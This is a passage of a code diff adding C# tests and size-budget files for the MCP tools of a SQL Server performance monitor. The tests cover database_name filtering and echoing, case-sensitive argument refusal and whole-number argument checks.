+        Assert.Equal("DbC", doc.RootElement.GetProperty("database_name").GetString());
+        Assert.Contains("holds no files for the database DbC", none);
+    }
+
+    [Fact]
+    public async Task FileIoStats_DatabaseName_NeverCollectedStaysUnavailableAndEchoesTheName()
+    {
+        var none = await McpIoTools.GetFileIoStats(_dataService, _serverManager, ServerName, database_name: "DbA");
+        using var doc = JsonDocument.Parse(none);
+        Assert.Equal("unavailable", doc.RootElement.GetProperty("status").GetString());
+        Assert.Equal("DbA", doc.RootElement.GetProperty("database_name").GetString());
+    }
+
+    [Fact]
+    public async Task FileIoTrend_DatabaseName_IsNotTrimmed_AndABlankIsEveryDatabase()
+    {
+        foreach (var minutes in new[] { 90, 60, 30 })
+            foreach (var db in new[] { "DbA", "DbB" })
+                await SeedFileIoAsync(db, db + ".mdf", minutes);
+
+        var all = await McpIoTools.GetFileIoTrend(_dataService, _serverManager, ServerName);
+        foreach (var blank in BlankNames)
+            Assert.Equal(all, await McpIoTools.GetFileIoTrend(_dataService, _serverManager, ServerName, database_name: blank));
+
+        var exact = await McpIoTools.GetFileIoTrend(_dataService, _serverManager, ServerName, database_name: "DbA");
+        Assert.DoesNotContain("\"status\"", exact);
+
+        /* A padded name is a different name: it matches nothing and says so, as on Darling. */
+        var padded = await McpIoTools.GetFileIoTrend(_dataService, _serverManager, ServerName, database_name: " DbA ");
+        using var doc = JsonDocument.Parse(padded);
+        Assert.Equal("empty", doc.RootElement.GetProperty("status").GetString());
+    }
+
+    /// <summary>#5244 PR5: every answer shape of the storage tools says which database it was limited to (null for every database).</summary>
+    [Fact]
+    public async Task TheStorageAnswers_EchoDatabaseName_OnTheDataTheEmptyAndTheNoDataShapes()
+    {
+        static string? Echo(string json) =>
+            JsonDocument.Parse(json).RootElement.TryGetProperty("database_name", out var e) && e.ValueKind == JsonValueKind.String ? e.GetString() : "<absent>";
+        static bool HasKey(string json) => JsonDocument.Parse(json).RootElement.TryGetProperty("database_name", out _);
+
+        /* No data at all: the unavailable answers carry the key (null for every database, the name for one). */
+        Assert.True(HasKey(await McpServerInfoTools.GetDatabaseSizes(_dataService, _serverManager, ServerName)));
+        Assert.Equal("DbA", Echo(await McpServerInfoTools.GetDatabaseSizes(_dataService, _serverManager, ServerName, database_name: "DbA")));
+        Assert.True(HasKey(await McpObjectStatsTools.GetTableIndexSizes(_dataService, _serverManager, ServerName)));
+        Assert.Equal("DbA", Echo(await McpObjectStatsTools.GetTableIndexSizes(_dataService, _serverManager, ServerName, database_name: "DbA")));
+        Assert.True(HasKey(await McpPvsTools.GetPvsStats(_dataService, _serverManager, ServerName)));
+        Assert.Equal("DbA", Echo(await McpPvsTools.GetPvsStats(_dataService, _serverManager, ServerName, database_name: "DbA")));
+
+        /* Data: the answer carries the echo, and an empty filtered answer names the database. */
+        await SeedDatabaseSizeAsync("DbA", Truncate(DateTime.UtcNow.AddHours(-1)));
+        await SeedTableAsync("DbA", "ta", Truncate(DateTime.UtcNow.AddHours(-1)), 10m);
+        await SeedPvsAsync("DbA", 5, 10);
+        Assert.True(HasKey(await McpServerInfoTools.GetDatabaseSizes(_dataService, _serverManager, ServerName)));
+        Assert.Equal("DbA", Echo(await McpServerInfoTools.GetDatabaseSizes(_dataService, _serverManager, ServerName, database_name: "DbA")));
+        Assert.Equal("DbA", Echo(await McpObjectStatsTools.GetTableIndexSizes(_dataService, _serverManager, ServerName, database_name: "DbA")));
+        Assert.Equal("DbA", Echo(await McpPvsTools.GetPvsStats(_dataService, _serverManager, ServerName, database_name: "DbA")));
+        Assert.Equal("NoSuch", Echo(await McpServerInfoTools.GetDatabaseSizes(_dataService, _serverManager, ServerName, database_name: "NoSuch")));
+        Assert.Equal("NoSuch", Echo(await McpObjectStatsTools.GetTableIndexSizes(_dataService, _serverManager, ServerName, database_name: "NoSuch")));
+        Assert.Equal("NoSuch", Echo(await McpPvsTools.GetPvsStats(_dataService, _serverManager, ServerName, database_name: "NoSuch")));
+    }
+
+    [Fact]
+    public void TheFourStorageTools_TakeDatabaseNameLast_WithTheSharedSentence()
+    {
+        const string Sentence = "Limit to one database. Omit for all databases.";
+        foreach (var (type, method) in new[]
+        {
+            (typeof(McpServerInfoTools), nameof(McpServerInfoTools.GetDatabaseSizes)),
+            (typeof(McpObjectStatsTools), nameof(McpObjectStatsTools.GetTableIndexSizes)),
+            (typeof(McpPvsTools), nameof(McpPvsTools.GetPvsStats)),
+            (typeof(McpIoTools), nameof(McpIoTools.GetFileIoStats)),
+        })
+        {
+            var parameters = type.GetMethod(method)!.GetParameters();
+            var last = parameters[^1];
+            Assert.Equal("database_name", last.Name);
+            Assert.Equal(Sentence, ((System.ComponentModel.DescriptionAttribute)last.GetCustomAttributes(typeof(System.ComponentModel.DescriptionAttribute), false).Single()).Description);
+        }
+    }
+
+    // ── Seeding helpers (raw INSERT through one shared connection) ──
+
+    private static DateTime Truncate(DateTime t) =>
+        new(t.Year, t.Month, t.Day, t.Hour, t.Minute, t.Second, DateTimeKind.Unspecified);
+
+    // One clock read per test instance (cut to the minute). Reading the clock on every call split rows
+    // seeded together across two minutes whenever a minute boundary passed mid-seed.
+    private readonly DateTime _minuteAnchor = MinuteOf(DateTime.UtcNow);
+
+    private static DateTime MinuteOf(DateTime now) =>
+        new(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Unspecified);
+
+    private DateTime Minute(int minutesAgo) => _minuteAnchor.AddMinutes(-minutesAgo);
+
+    private async Task ExecAsync(string sql, params object[] values)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync();
+        }
+        using var cmd = _seedConn.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var v in values)
+            cmd.Parameters.Add(new DuckDBParameter { Value = v });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private Task SeedDatabaseSizeAsync(string databaseName, DateTime collectionTime) =>
+        ExecAsync(@"
+INSERT INTO database_size_stats
+    (collection_id, collection_time, server_id, server_name, database_name, database_id,
+     file_id, file_type_desc, file_name, physical_name, total_size_mb)
+VALUES ($1, $2, $3, $4, $5, 5, 1, 'ROWS', 'data', 'D:\data\x.mdf', 1024.00)",
+            _nextId++, collectionTime, _serverId, ServerName, databaseName);
+
+    private Task SeedTableAsync(string databaseName, string tableName, DateTime collectionTime, decimal reservedMb) =>
+        ExecAsync(@"
+INSERT INTO index_object_stats
+    (collection_id, collection_time, server_id, server_name, sqlserver_start_time, database_name, database_id,
+     schema_name, object_id, table_name, index_id, index_name, index_type_desc, reserved_mb, used_mb, total_rows,
+     user_seeks, user_scans, user_lookups, user_updates, row_lock_wait_in_ms, index_lock_promotion_count)
+VALUES ($1, $2, $3, $4, $5, $6, 7, 'dbo', 100, $7, 1, 'IX', 'NONCLUSTERED', $8, $8, 10, 0, 0, 0, 0, 0, 0)",
+            _nextId++, collectionTime, _serverId, ServerName, Minute(60 * 24 * 12), databaseName, tableName, reservedMb);
+
+    private Task SeedPvsAsync(string databaseName, int minutesAgo, double pvsMb) =>
+        ExecAsync(@"
+INSERT INTO pvs_stats
+    (collection_id, collection_time, server_id, server_name, database_name, database_id,
+     is_accelerated_database_recovery_on, persistent_version_store_size_mb, database_data_size_mb)
+VALUES ($1, $2, $3, $4, $5, 5, true, $6, 1000)",
+            _nextId++, Minute(minutesAgo), _serverId, ServerName, databaseName, pvsMb);
+
+    private Task SeedFileIoAsync(string databaseName, string fileName, int minutesAgo) =>
+        ExecAsync(@"
+INSERT INTO file_io_stats
+    (collection_id, collection_time, server_id, server_name, database_name, file_name, file_type, physical_name, size_mb,
+     delta_reads, delta_writes, delta_read_bytes, delta_write_bytes, delta_stall_read_ms, delta_stall_write_ms,
+     sample_interval_seconds)
+VALUES ($1, $2, $3, $4, $5, $6, 'ROWS', '', 100, 10, 10, 81920, 81920, 20, 30, 60)",
+            _nextId++, Minute(minutesAgo), _serverId, ServerName, databaseName, fileName);
+}
diff --git a/Lite.Tests/McpToolGuideHeads.SqlCore.cs b/Lite.Tests/McpToolGuideHeads.SqlCore.cs
index 53fc917f46..0df2d01b28 100644
--- a/Lite.Tests/McpToolGuideHeads.SqlCore.cs
+++ b/Lite.Tests/McpToolGuideHeads.SqlCore.cs
@@ -271,6 +271,17 @@ public void BlockingOnlyParameter_KeepsItsGuardrailClause_AndMovesTheRestToTheTa
             StringComparison.Ordinal);
     }
 
+    /// <summary>#5235: <c>wait_type</c>'s parameter description is 190 characters on both apps (each app's test pins the same
+    /// number, and its tools/list budget line says 190 too), under the 200-character parameter cap.</summary>
+    [Fact]
+    public void WaitTypeParameter_IsTheSameTextOnBothApps_UnderTheParameterCap()
+    {
+        var served = McpToolGuideTests.Served("get_active_queries");
+        var waitType = Assert.Single(served.ParameterDescriptionLengths, p => p.Parameter == "wait_type");
+        Assert.Equal(190, waitType.Length);
+        Assert.True(waitType.Length <= 200, $"wait_type: {waitType.Length} > 200");
+    }
+
     /// <summary>Lite's own tail names <c>get_blocked_process_reports</c>, never Darling's <c>get_blocking</c>;
     /// the shared head names neither tool.</summary>
     [Fact]
@@ -281,7 +292,8 @@ public void BlockerNotShownCodes_NameLitesOwnBlockingTool()
         Assert.Contains("not_captured (the blocker held no running request at that capture", tail, StringComparison.Ordinal);
         Assert.Contains("get_blocked_process_reports has its input buffer", tail, StringComparison.Ordinal);
         Assert.DoesNotContain("get_blocking has its input buffer", tail, StringComparison.Ordinal);
-        Assert.Contains("filtered (your database_name filter excluded it)", tail, StringComparison.Ordinal);
+        Assert.Contains("filtered (your database_name or wait_type filter excluded it)", tail, StringComparison.Ordinal);
+        Assert.Contains("database_name, blocking_only and wait_type are applied in SQL before the page is cut", tail, StringComparison.Ordinal);
         Assert.Contains("past_page (it is in the filtered population but beyond limit)", tail, StringComparison.Ordinal);
         Assert.DoesNotContain("get_blocking", served.Served, StringComparison.Ordinal);
     }
diff --git a/Lite.Tests/McpToolsListBudget/McpBlockingTools.txt b/Lite.Tests/McpToolsListBudget/McpBlockingTools.txt
index 8dadad5e4e..8eed43fa6b 100644
--- a/Lite.Tests/McpToolsListBudget/McpBlockingTools.txt
+++ b/Lite.Tests/McpToolsListBudget/McpBlockingTools.txt
@@ -1,6 +1,7 @@
 # McpBlockingTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
 tool get_blocked_process_reports 600
 param get_blocked_process_reports.as_of 167
+param get_blocked_process_reports.database_name 46
 param get_blocked_process_reports.full_text 108
 param get_blocked_process_reports.hours_back 29
 param get_blocked_process_reports.limit 133
@@ -8,12 +9,14 @@ param get_blocked_process_reports.server_name 28
 
 tool get_blocked_process_xml 480
 param get_blocked_process_xml.as_of 167
+param get_blocked_process_xml.database_name 46
 param get_blocked_process_xml.hours_back 29
 param get_blocked_process_xml.limit 113
 param get_blocked_process_xml.server_name 28
 
-tool get_blocking_trend 199
+tool get_blocking_trend 429
 param get_blocking_trend.as_of 167
+param get_blocking_trend.database_name 46
 param get_blocking_trend.hours_back 29
 param get_blocking_trend.server_name 28
 
diff --git a/Lite.Tests/McpToolsListBudget/McpConfigHistoryTools.txt b/Lite.Tests/McpToolsListBudget/McpConfigHistoryTools.txt
index 3cd6f89853..d6ca09768f 100644
--- a/Lite.Tests/McpToolsListBudget/McpConfigHistoryTools.txt
+++ b/Lite.Tests/McpToolsListBudget/McpConfigHistoryTools.txt
@@ -1,6 +1,7 @@
 # McpConfigHistoryTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
 tool get_database_config_changes 378
 param get_database_config_changes.as_of 167
+param get_database_config_changes.database_name 46
 param get_database_config_changes.hours_back 51
 param get_database_config_changes.server_name 28
 
diff --git a/Lite.Tests/McpToolsListBudget/McpDefaultTraceTools.txt b/Lite.Tests/McpToolsListBudget/McpDefaultTraceTools.txt
index f1350ce0c0..9f73fe12b8 100644
--- a/Lite.Tests/McpToolsListBudget/McpDefaultTraceTools.txt
+++ b/Lite.Tests/McpToolsListBudget/McpDefaultTraceTools.txt
@@ -1,6 +1,7 @@
 # McpDefaultTraceTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
 tool get_default_trace_events 614
 param get_default_trace_events.as_of 167
+param get_default_trace_events.database_name 46
 param get_default_trace_events.hours_back 41
 param get_default_trace_events.limit 48
 param get_default_trace_events.server_name 28
diff --git a/Lite.Tests/McpToolsListBudget/McpHealthParserTools.txt b/Lite.Tests/McpToolsListBudget/McpHealthParserTools.txt
index 23c6a5eb63..7949e7a980 100644
--- a/Lite.Tests/McpToolsListBudget/McpHealthParserTools.txt
+++ b/Lite.Tests/McpToolsListBudget/McpHealthParserTools.txt
@@ -37,6 +37,7 @@ param get_health_parser_scheduler_issues.server_name 28
 
 tool get_health_parser_severe_errors 480
 param get_health_parser_severe_errors.as_of 167
+param get_health_parser_severe_errors.database_name 46
 param get_health_parser_severe_errors.hours_back 41
 param get_health_parser_severe_errors.limit 38
 param get_health_parser_severe_errors.server_name 28
diff --git a/Lite.Tests/McpToolsListBudget/McpHealthTools.txt b/Lite.Tests/McpToolsListBudget/McpHealthTools.txt
index acb12f49a0..03faa09aff 100644
--- a/Lite.Tests/McpToolsListBudget/McpHealthTools.txt
+++ b/Lite.Tests/McpToolsListBudget/McpHealthTools.txt
@@ -1,6 +1,7 @@
 # McpHealthTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
-tool get_blocking_stats 381
+tool get_blocking_stats 611
 param get_blocking_stats.as_of 167
+param get_blocking_stats.database_name 66
 param get_blocking_stats.hours_back 191
 param get_blocking_stats.server_name 28
 
diff --git a/Lite.Tests/McpToolsListBudget/McpIoTools.txt b/Lite.Tests/McpToolsListBudget/McpIoTools.txt
index 6997d7ebe1..782d144ab0 100644
--- a/Lite.Tests/McpToolsListBudget/McpIoTools.txt
+++ b/Lite.Tests/McpToolsListBudget/McpIoTools.txt
@@ -1,5 +1,6 @@
 # McpIoTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
 tool get_file_io_stats 437
+param get_file_io_stats.database_name 46
 param get_file_io_stats.server_name 28
 
 tool get_file_io_trend 585
diff --git a/Lite.Tests/McpToolsListBudget/McpLongQueryTools.txt b/Lite.Tests/McpToolsListBudget/McpLongQueryTools.txt
index e091073b1c..c51317e5e0 100644
--- a/Lite.Tests/McpToolsListBudget/McpLongQueryTools.txt
+++ b/Lite.Tests/McpToolsListBudget/McpLongQueryTools.txt
@@ -1,6 +1,7 @@
 # McpLongQueryTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
 tool get_long_query_completions 604
 param get_long_query_completions.as_of 167
+param get_long_query_completions.database_name 46
 param get_long_query_completions.hours_back 29
 param get_long_query_completions.limit 134
 param get_long_query_completions.server_name 28
diff --git a/Lite.Tests/McpToolsListBudget/McpObjectStatsTools.txt b/Lite.Tests/McpToolsListBudget/McpObjectStatsTools.txt
index d003489db8..716dd8e16b 100644
--- a/Lite.Tests/McpToolsListBudget/McpObjectStatsTools.txt
+++ b/Lite.Tests/McpToolsListBudget/McpObjectStatsTools.txt
@@ -5,8 +5,10 @@ param get_index_usage.limit 35
 param get_index_usage.server_name 28
 
 tool get_object_locking 661
+param get_object_locking.database_name 46
 param get_object_locking.limit 35
 param get_object_locking.server_name 28
 
 tool get_table_index_sizes 794
+param get_table_index_sizes.database_name 46
 param get_table_index_sizes.server_name 28
diff --git a/Lite.Tests/McpToolsListBudget/McpPlanCorrectionTools.txt b/Lite.Tests/McpToolsListBudget/McpPlanCorrectionTools.txt
index 04c2ecbdae..c5791a45c6 100644
--- a/Lite.Tests/McpToolsListBudget/McpPlanCorrectionTools.txt
+++ b/Lite.Tests/McpToolsListBudget/McpPlanCorrectionTools.txt
@@ -1,6 +1,7 @@
 # McpPlanCorrectionTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
 tool get_plan_corrections 611
 param get_plan_corrections.as_of 167
+param get_plan_corrections.database_name 46
 param get_plan_corrections.full_text 84
 param get_plan_corrections.hours_back 29
 param get_plan_corrections.limit 156
diff --git a/Lite.Tests/McpToolsListBudget/McpPvsTools.txt b/Lite.Tests/McpToolsListBudget/McpPvsTools.txt
index 5f5ab33daf..dd98ce6047 100644
--- a/Lite.Tests/McpToolsListBudget/McpPvsTools.txt
+++ b/Lite.Tests/McpToolsListBudget/McpPvsTools.txt
@@ -1,4 +1,5 @@
 # McpPvsTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
 tool get_pvs_stats 620
+param get_pvs_stats.database_name 46
 param get_pvs_stats.server_name 28
 param get_pvs_stats.trend_hours_back 98
diff --git a/Lite.Tests/McpToolsListBudget/McpQueryTools.txt b/Lite.Tests/McpToolsListBudget/McpQueryTools.txt
index 66ccca915d..14f2d97a7b 100644
--- a/Lite.Tests/McpToolsListBudget/McpQueryTools.txt
+++ b/Lite.Tests/McpToolsListBudget/McpQueryTools.txt
@@ -2,12 +2,14 @@
 tool get_procedure_duration_trend 445
 param get_procedure_duration_trend.as_of 167
 param get_procedure_duration_trend.bucket_minutes 55
+param get_procedure_duration_trend.database_name 46
 param get_procedure_duration_trend.hours_back 29
 param get_procedure_duration_trend.server_name 28
 
 tool get_query_duration_trend 614
 param get_query_duration_trend.as_of 167
 param get_query_duration_trend.bucket_minutes 55
+param get_query_duration_trend.database_name 46
 param get_query_duration_trend.hours_back 29
 param get_query_duration_trend.server_name 28
 
@@ -23,6 +25,7 @@ param get_query_heatmap.server_name 28
 
 tool get_query_store_duration_trend 606
 param get_query_store_duration_trend.as_of 167
+param get_query_store_duration_trend.database_name 46
 param get_query_store_duration_trend.hours_back 29
 param get_query_store_duration_trend.server_name 28
 
diff --git a/Lite.Tests/McpToolsListBudget/McpServerInfoTools.txt b/Lite.Tests/McpToolsListBudget/McpServerInfoTools.txt
index c32fdb2684..4eab03eeb1 100644
--- a/Lite.Tests/McpToolsListBudget/McpServerInfoTools.txt
+++ b/Lite.Tests/McpToolsListBudget/McpServerInfoTools.txt
@@ -1,5 +1,6 @@
 # McpServerInfoTools: tools/list budget for #3898. Ceilings only go down; see McpToolsListBudgetTests. One block per tool, blank line between blocks.
 tool get_database_sizes 480
+param get_database_sizes.database_name 46
 param get_database_sizes.server_name 28
 
 tool get_server_properties 571
diff --git a/Lite.Tests/McpToolsListBudget/McpSessionTools.txt b/Lite.Tests/McpToolsListBudget/McpSessionTools.txt
index e9060cc377..ae67db8b1d 100644
--- a/Lite.Tests/McpToolsListBudget/McpSessionTools.txt
+++ b/Lite.Tests/McpToolsListBudget/McpSessionTools.txt
@@ -7,6 +7,7 @@ param get_active_queries.full_text 84
 param get_active_queries.hours_back 37
 param get_active_queries.limit 194
 param get_active_queries.server_name 28
+param get_active_queries.wait_type 190
 
 tool get_session_stats 391
 param get_session_stats.server_name 28
diff --git a/Lite.Tests/McpToolsListBudget/McpWaitTools.txt b/Lite.Tests/McpToolsListBudget/McpWaitTools.txt
index 3fbb238a2a..9c3f97c1eb 100644
--- a/Lite.Tests/McpToolsListBudget/McpWaitTools.txt
+++ b/Lite.Tests/McpToolsListBudget/McpWaitTools.txt
@@ -17,8 +17,9 @@ param get_wait_types.as_of 167
 param get_wait_types.hours_back 29
 param get_wait_types.server_name 28
 
-tool get_waiting_tasks 751
+tool get_waiting_tasks 364
 param get_waiting_tasks.as_of 167
+param get_waiting_tasks.database_name 46
 param get_waiting_tasks.hours_back 28
 param get_waiting_tasks.limit 141
 param get_waiting_tasks.server_name 28
diff --git a/Lite.Tests/McpToolsListBudgetTests.cs b/Lite.Tests/McpToolsListBudgetTests.cs
index 0987fcaa3b..f4b8a0e41c 100644
--- a/Lite.Tests/McpToolsListBudgetTests.cs
+++ b/Lite.Tests/McpToolsListBudgetTests.cs
@@ -141,7 +141,26 @@ each gain that same sentence (474 -> 600 and 406 -> 532, +126 bytes apiece), mak
     // (+95). Constant set to the value McpToolsListBudgetTests itself measured on this tree.
     // get_perfmon_stats' head names the new per_second field in its rate clause (521 -> 579), byte-identical
     // with Darling's twin. Constant set to the value McpToolsListBudgetTests itself measured on this tree.
-    private const int TotalCeilingBytes = 92_358;
+    // get_active_queries gains its wait_type parameter (#5235, a 190-character description, byte-identical with Darling's twin; the served head
+    // is unchanged). Constant set to the value McpToolsListBudgetTests itself measured on this tree: 92,203 (the previous ceiling, 92,358, had
+    // headroom even with the parameter in).
+    // get_object_locking gains database_name (#5231, appended last, the 46-character "Limit to one database. Omit for all databases."
+    // sentence get_query_heatmap and get_query_store_regressions already use; the served head is unchanged), +97 bytes: 92,300.
+    // #5244 PR3 lane L1: get_blocking_trend and get_blocked_process_xml gain database_name (46 characters each, the shared sentence) and
+    // get_blocking_stats gains its partial-scope form (66 characters); lane L2 adds database_name to get_blocked_process_reports and
+    // get_waiting_tasks (46 each); no served head changes. Constant set to the value McpToolsListBudgetTests itself measured on this tree.
+    // #5244 PR3 (r1 M1): get_blocking_trend and get_blocking_stats each gain the one sentence that says which collector answered (the source key
+    // and when the DMV snapshot is used), identical to Darling's twins: 92,805 -> 93,265 bytes (+460).
+    // #5244 PR4 lane L1: get_query_duration_trend, get_procedure_duration_trend and get_query_store_duration_trend gain database_name
+    // (46 characters each, the shared sentence); no served head changes. The ceiling is the measured total: 93,750 = dev 93,265 + 485 (lane L1 291, the three
+    // parameters with their JSON framing, + lane L2 194).
+    // #5244 PR6: get_database_config_changes, get_default_trace_events and get_health_parser_severe_errors gain database_name (appended last, the
+    // 46-character sentence the other Lite database_name parameters use; the served heads are unchanged), +97 bytes each (+291). The ceiling is the
+    // measured total on this tree, not a hand sum.
+    // #5244 PR5: get_database_sizes, get_table_index_sizes, get_pvs_stats and get_file_io_stats gain database_name (appended last, the same
+    // 46-character sentence; the served heads are unchanged), +97 bytes each (+388). The ceiling is the measured total on this tree: 94,429
+    // (94,041 before).
+    private const int TotalCeilingBytes = 94_429;
 
     private const int ConvertedHeadCap = 1_000;
     private const int ConvertedParameterCap = 200;
diff --git a/Lite.Tests/McpUnknownArgumentGuardTests.cs b/Lite.Tests/McpUnknownArgumentGuardTests.cs
index fe141ea65d..5b33d396c5 100644
--- a/Lite.Tests/McpUnknownArgumentGuardTests.cs
+++ b/Lite.Tests/McpUnknownArgumentGuardTests.cs
@@ -14,6 +14,8 @@
 using System.Runtime.CompilerServices;
 using System.Text.Json;
 using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Darling.Tests;
 using Microsoft.Extensions.DependencyInjection;
 using ModelContextProtocol.Protocol;
 using ModelContextProtocol.Server;
@@ -41,6 +43,8 @@ namespace Lite.Tests;
 /// the shared decision behaves correctly against Lite's real advertised schemas (the decision half), which
 /// is not implied by Darling's census: the schemas differ per SKU.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
+[Trait("Stage", "Guard")]
 public sealed class McpUnknownArgumentGuardTests
 {
     /// <summary>All Lite MCP tool classes, discovered by their [McpServerToolType] attribute — the same
@@ -192,13 +196,22 @@ public void EveryRegisteredTool_AcceptsItsOwnDeclaredParameters_AndAnEmptyCall()
                 continue;
             }
 
-            var declared = properties.EnumerateObject().Select(p => p.Name).ToArray();
+            var declared = properties.EnumerateObject().ToArray();
             if (declared.Length == 0)
             {
                 continue;
             }
 
-            if (McpUnknownArgumentGuard.Refuse(Call(name, Args(declared.Select(p => (p, "x")).ToArray())), tool)
+            /* A value each parameter can take: 1 for an integer, since the guard refuses a word there just as the
+               binder cannot read one, and a word for the rest. */
+            var everything = declared.ToDictionary(
+                p => p.Name,
+                p => p.Value.TryGetProperty("type", out var type) && type.ValueKind == JsonValueKind.String && type.GetString() == "integer"
+                    ? JsonSerializer.SerializeToElement(1)
+                    : JsonSerializer.SerializeToElement("x"),
+                StringComparer.Ordinal);
+
+            if (McpUnknownArgumentGuard.Refuse(Call(name, everything), tool)
                 is { } refused)
             {
                 wrongful.Add($"{name}: refused its OWN declared parameters -> {TextOf(refused)}");
@@ -288,6 +301,70 @@ public void TheRefusal_WearsTheHouseEnvelope_AndListsAcceptedParameters()
         Assert.Contains("Accepted parameters:", message, StringComparison.Ordinal);
     }
 
+    /// <summary>
+    /// Argument names match exactly, letter case included, because that is how the SDK's binder matches them: it
+    /// does not bind <c>HOURS_BACK</c> to <c>hours_back</c>, so the tool ran at its default window. The guard
+    /// refuses such a key like any other unknown one and suggests the parameter it differs from only by case.
+    /// </summary>
+    [Fact]
+    public void AKeyDifferingOnlyByCase_IsRefused_AndTheRefusalNamesTheParameter()
+    {
+        var tool = RegisteredTools().First(t => t.ProtocolTool.Name == "get_wait_stats");
+
+        var result = McpUnknownArgumentGuard.Refuse(
+            Call("get_wait_stats", Args(("HOURS_BACK", "1"))),
+            tool);
+
+        var problem = McpInProcessHost.CaseRefusalProblem("get_wait_stats", "HOURS_BACK", "hours_back", result);
+        Assert.True(problem is null, problem);
+    }
+
+    /// <summary>
+    /// The same key through a real in-process server, so the SDK's own binder is on the path: <c>get_wait_stats</c>
+    /// with <c>{"HOURS_BACK": 2}</c> is refused before the tool runs. Without the refusal the binder drops the key
+    /// and the tool reads its default window.
+    /// </summary>
+    [Fact]
+    public async Task AKeyDifferingOnlyByCase_IsRefusedBeforeTheBinder_ThroughARealServer()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var host = await McpWholeNumberArgumentTests.StartHostAsync();
+
+        var result = await host.Client.CallToolAsync(
+            "get_wait_stats", new Dictionary<string, object?> { ["HOURS_BACK"] = 2 }, cancellationToken: ct);
+
+        var problem = McpInProcessHost.CaseRefusalProblem("get_wait_stats", "HOURS_BACK", "hours_back", result);
+        Assert.True(problem is null, problem);
+    }
+
+    /// <summary>
+    /// The premise the case refusal rests on, pinned on the SDK's binder alone, with the guard left out of the host:
+    /// a key that differs from a parameter only by letter case is dropped, never bound. <c>HOURS_BACK</c> carrying a
+    /// value no integer parameter can take logs no binding failure, so the binder never read it. The same value
+    /// under <c>hours_back</c> does log one, which shows this test can see a binding failure when there is one. If a
+    /// later SDK matched names ignoring case, the first half would fail here, and the guard would be refusing calls
+    /// that work.
+    /// </summary>
+    [Fact]
+    public async Task WithoutTheGuard_TheBinderDropsAKeyDifferingOnlyByCase()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var host = await McpWholeNumberArgumentTests.StartHostAsync(installGuard: false);
+
+        await host.Client.CallToolAsync(
+            "get_wait_stats", new Dictionary<string, object?> { ["HOURS_BACK"] = "not-a-number" }, cancellationToken: ct);
+        Assert.False(
+            host.ToolExceptions.HasBindingFailure,
+            "The binder read HOURS_BACK as hours_back. Logged: " + host.ToolExceptions.Describe());
+
+        await host.Client.CallToolAsync(
+            "get_wait_stats", new Dictionary<string, object?> { ["hours_back"] = "not-a-number" }, cancellationToken: ct);
+        Assert.True(
+            host.ToolExceptions.HasBindingFailure,
+            "hours_back: \"not-a-number\" logged no binding failure, so this test cannot see one. Logged: "
+            + host.ToolExceptions.Describe());
+    }
+
     private static string RepoRoot([CallerFilePath] string thisFile = "")
         => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, ".."));
 }
diff --git a/Lite.Tests/McpWholeNumberArgumentTests.cs b/Lite.Tests/McpWholeNumberArgumentTests.cs
new file mode 100644
index 0000000000..843fffa9b1
--- /dev/null
+++ b/Lite.Tests/McpWholeNumberArgumentTests.cs
@@ -0,0 +1,258 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Reflection;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Darling.Tests;
+using ModelContextProtocol.Protocol;
+using ModelContextProtocol.Server;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// Lite's half of the whole-number pins: a value an integer parameter cannot take, such as <c>hours_back: 0.5</c>,
+/// is refused with a message that names the parameter, instead of failing inside the SDK's argument binding as
+/// "An error occurred invoking ...". Lite registers the same shared call-tool guard as Darling, and these run
+/// Lite's own tools through the same in-process server and client (<see cref="McpInProcessHost"/>).
+/// </summary>
+public sealed class McpWholeNumberArgumentTests
+{
+    internal static List<Type> LiteToolTypes() =>
+        typeof(PerformanceMonitorLite.Mcp.McpWaitTools).Assembly
+            .GetTypes()
+            .Where(t => t.GetCustomAttribute<McpServerToolTypeAttribute>() is not null)
+            .OrderBy(t => t.FullName, StringComparer.Ordinal)
+            .ToList();
+
+    /// <summary>The host's own rule for which parameters come from DI. The guide catalog is excluded because the tool
+    /// registration adds the one real instance itself.</summary>
+    private static bool IsServiceParameter(Type t) =>
+        McpServedSchema.IsServiceParameter(t) && t != typeof(McpToolGuideCatalog);
+
+    /// <summary>Lite's tool services are all concrete classes, so none needs a hand-made stand-in.</summary>
+    /// <param name="installGuard">False to leave the call-tool guard out, so a call meets the SDK's binder alone.</param>
+    /// <param name="extraToolTypes">Test-only tool classes to register beside the shipped ones, through the same
+    /// <c>McpSchemaCompat</c> path.</param>
+    internal static Task<McpInProcessHost> StartHostAsync(bool installGuard = true, params Type[] extraToolTypes) =>
+        McpInProcessHost.StartAsync(
+            LiteToolTypes().Concat(extraToolTypes).ToList(), IsServiceParameter, _ => null, installGuard,
+            TestContext.Current.CancellationToken);
+
+    private static JsonElement Json(string raw) => JsonDocument.Parse(raw).RootElement.Clone();
+
